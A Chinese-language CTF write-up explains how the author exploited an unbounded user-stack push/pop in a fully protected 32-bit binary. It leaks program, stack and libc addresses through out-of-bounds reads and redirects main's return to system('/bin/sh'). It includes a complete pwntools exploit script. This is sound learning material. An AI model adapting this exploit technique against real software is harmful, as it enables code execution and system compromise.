实验平台:
x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/FullProtection/stack
这道题是到目前为止我做过最复杂的一个Pwn,没有看答案,思路卡住了好几次。
首先用checksec stack
检查ELF的安全性:
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
所有安全措施全部开启,让人非常难办,我们来用IDA看看反编译后的伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v5; // [esp+0h] [ebp-164h] BYREF
int v6[65]; // [esp+4h] [ebp-160h] BYREF
char v7[64]; // [esp+108h] [ebp-5Ch] BYREF
unsigned int v8; // [esp+148h] [ebp-1Ch]
int *v9; // [esp+158h] [ebp-Ch]
v9 = &argc;
v8 = __readgsdword(0x14u);
memset(v6, 0, sizeof(v6));
setbuf(stdout, 0);
puts("This program compiled with: gcc -m32 -Wl,-z,relro,-z,now -fpic -pie -fstack-protector stack.c -o stack");
puts(
"Command:\n"
" i val pushval to stack\n"
" p pop from stack\n"
" c clear stack\n"
" x exit program\n"
" f print flag");
puts("Cmd >>");
while ( __isoc99_scanf("%s", v7) != -1 )
{
switch ( v7[0] )
{
case 'c':
v6[0] = 0;
puts("Stack is cleared");
goto LABEL_9;
case 'f':
puts("flag");
goto LABEL_9;
case 'i':
__isoc99_scanf("%d", &v5);
stack_push(v6, v5);
printf("Push %d to stack\n", v5);
goto LABEL_9;
case 'p':
v3 = stack_pop(v6);
printf("Pop -> %d\n", v3);
goto LABEL_9;
case 'x':
puts("Bye");
return 0;
default:
puts("Invalid operation");
LABEL_9:
puts("Cmd >>");
break;
}
}
return 0;
}
int __cdecl stack_push(_DWORD *a1, int a2)
{
int result; // eax
result = (*a1)++;
a1[result + 1] = a2;
return result;
}
int __cdecl stack_pop(_DWORD *a1)
{
--*a1;
return a1[*a1 + 1];
}
看完这堆伪代码,让人感觉非常欣喜。因为stack_push
和stack_pop
都没有做边界检查,并且该用户栈直接使用了v6[0]
作为栈顶指针。这样的话,我们就可以利用这两处进行任意内存的读写。Python代码如下:
# Python's int is variable-length, so we must transfer them to C-format
def parseInt2Addr(num):
return u32(struct.pack("i", num))
def parseAddr2Int(num):
return unpack("i", p32(num))[0]
def chgtop_stack(p, top):
p.recvuntil("Cmd >>\n")
p.sendline("c")
p.recvuntil("Cmd >>\n")
p.sendline("p")
p.recvuntil("Cmd >>\n")
p.sendline("i %d" % top)
def write_stack(p, shift, value):
chgtop_stack(p, shift - 1)
p.recvuntil("Cmd >>\n")
p.sendline("i %d" % parseAddr2Int(value))
def read_stack(p, shift):
chgtop_stack(p, shift)
p.recvuntil("Cmd >>\n")
p.sendline("p")
p.recvuntil("Pop -> ")
s = p.recvuntil("\n")
return parseInt2Addr(int(s))
def execute(p):
p.recvuntil("Cmd >>\n")
p.sendline("x")
p.recvuntil("Bye\n")
由于从C语言程序中读入和写出的都是4字节数,而Python的int则是不定长的,所以在读入和写出的时候,需要用专门的函数parseInt2Addr
和parseAddr2Int
进行对应的转化。
接下来的步骤就是分别获取程序基址、libc基址和调用system。
因为程序的利用点都在main里面,要去查找程序基址只能看main之前的函数调用是否在栈中留下了返回地址。本来是以为__libc_start_main
是静态链接的,其中有对main
的调用。这样可以留下__libc_start_main
其中汇编的返回地址。后来发现__libc_start_main
是动态链接的,这条思路走不通。
后期经过了一番思考,根据gcc的链接相关知识可知,程序的入口点在__start
处,于是我发现在__start
处存在对__libc_start_main
的调用,调用的返回地址偏移为0x5b1
。所以,我使用gdb调试,发现这个返回地址压栈位置距离用户栈v6
的DWORD偏移量是121
,由此可得程序基址为:
program_base = read_stack(p, 121) - 0x5b1
下一步准备泄漏libc基址:
进而计算出各个关键函数地址:
main_sym = elf.sym['main'] + program_base
# In fact, puts_plt is no usage here
puts_plt = elf.plt['puts'] + program_base
puts_got = elf.got['puts'] + program_base
我原本想通过puts函数泄漏puts的GOT表内容,先后迈过两道坎,发现行不通。详细过程分别如下:
首先是计算返回地址的偏移量,根据IDA查看,发现DWORD偏移量为89
,于是我就想着依次向89, 90, 91三个位置写入puts_plt
, main_sym
, puts_got
泄漏puts的GOT表内容。结果发现无效,程序竟然正常退出了,也没有报段错误。经过GDB动态调试检查及IDA分析、查阅资料[2]发现,位于.text
段的0x73f
到0x746
处三条汇编语句对栈进行了16字节对齐,并把返回地址复制了一份,伪造了一个假的main
栈帧头。
这三条汇编语句如下:
.text:0000073F lea ecx, [esp+4]
.text:00000743 and esp, 0FFFFFFF0h
.text:00000746 push dword ptr [ecx-4]
经GDB分析发现,真的返回地址比假返回地址位置高0x10
,也就是多出了4个DWORD的位置。因此我编写了下列代码进行测试:
# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4
# Write main retaddr at shift 89 to call puts
write_stack(p, 89 + unified_shift, puts_got)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass GOT of puts
write_stack(p, 91 + unified_shift, puts_got)
execute(p)
puts_libc = u32(p.recv(4))
执行提示段错误。经过GDB分析,我又发现,开启PIE模式的PLT表与无地址随机化的PLT不同。PIE-enabled PLT使用ebx寄存器存放了GOT的偏移量,因此调用PLT表时,ebx寄存器的值必须保持其应有的值。然而我利用的retn
语句是main
函数的返回语句,位置在0x916
。经实测,ebx寄存器的值已经被毁坏,所以走PLT表这条路是行不通的。
我又想着直接把返回地址写成puts的GOT表地址,但是这样更不对了。[捂脸],测试了一下,这样是把puts的GOT表内容当作指令去执行了,更不对了。
所以,我只能再换一条道路。还是用前面那个任意内存地址读,去计算puts函数的GOT地址与栈上地址的偏移,从而读取GOT的内容,获得libc基址,执行system,但这样又要求我们去获得栈的偏移量了。
经过GDB调试发现,位于偏移0x74e
的指令push ecx
会把栈上某变量本身的地址addr
推到栈里。因此我通过栈上内存读先获取addr
,再计算v6
的偏移,再计算GOT与v6
的差值,从而进行puts的libc地址读取。代码如下:
# Read user stack base by reading ECX pushed to stack at 0x74e
user_stack_base = read_stack(p, 85) - 0x178
# Leak puts_got by using a arbitary memory read
puts_libc = read_stack(p, (puts_got - user_stack_base) / 4)
后面就是常规的libc基址计算、调用system了。在此不再详细说明,直接列出代码:
answer.py
:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack, unpack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
# Python's int is variable-length, so we must transfer them to C-format
def parseInt2Addr(num):
return u32(struct.pack("i", num))
def parseAddr2Int(num):
return unpack("i", p32(num))[0]
def chgtop_stack(p, top):
p.recvuntil("Cmd >>\n")
p.sendline("c")
p.recvuntil("Cmd >>\n")
p.sendline("p")
p.recvuntil("Cmd >>\n")
p.sendline("i %d" % top)
def write_stack(p, shift, value):
chgtop_stack(p, shift - 1)
p.recvuntil("Cmd >>\n")
p.sendline("i %d" % parseAddr2Int(value))
def read_stack(p, shift):
chgtop_stack(p, shift)
p.recvuntil("Cmd >>\n")
p.sendline("p")
p.recvuntil("Pop -> ")
s = p.recvuntil("\n")
return parseInt2Addr(int(s))
def execute(p):
p.recvuntil("Cmd >>\n")
p.sendline("x")
p.recvuntil("Bye\n")
p = process('./stack')
elf = ELF('./stack')
#gdb.attach(p, "b *(&main+471)") # retn of main
#time.sleep(5)
# Read program base shift from stack retaddr pushed by _start at 0x5ac
program_base = read_stack(p, 121) - 0x5b1
print("Program Base: %s" % hex(program_base))
# Read user stack base by reading ECX pushed to stack at 0x74e
user_stack_base = read_stack(p, 85) - 0x178
print("User Stack Base: %s" % hex(user_stack_base))
main_sym = elf.sym['main'] + program_base
print("Main Symbol: %s" % hex(main_sym))
# In fact, puts_plt is no usage here
puts_plt = elf.plt['puts'] + program_base
print("puts PLT: %s" % hex(puts_plt))
puts_got = elf.got['puts'] + program_base
print("puts GOT: %s" % hex(puts_got))
"""
# Cannot use puts PLT to leak puts GOT there at return of main
# because PIE mode PLT use EBX to store offset but when returning EBX is null
# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4
# Write main retaddr at shift 89 to call puts
write_stack(p, 89 + unified_shift, puts_got)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass GOT of puts
write_stack(p, 91 + unified_shift, puts_got)
execute(p)
puts_libc = u32(p.recv(4))
"""
# Leak puts_got by using a arbitary memory read
puts_libc = read_stack(p, (puts_got - user_stack_base) / 4)
print("puts libc: %s" % hex(puts_libc))
libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))
binsh_libc = libc_base + libc.dump('str_bin_sh')
print("/bin/sh libc: %s" % hex(binsh_libc))
# A unified shift was applied to original shift to use in main's stack frame
# Because of the compiler's alignment
unified_shift = 4
# Write main retaddr at shift 89 to call system
write_stack(p, 89 + unified_shift, system_libc)
# Write retaddr of puts at shift 90 back to main
write_stack(p, 90 + unified_shift, main_sym)
# Write arg1 at shift 91 to pass "/bin/sh"
write_stack(p, 91 + unified_shift, binsh_libc)
execute(p)
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78666941
[2] https://stackoverflow.com/questions/1147623/trying-to-understand-gccs-complicated-stack-alignment-at-the-top-of-main-that-c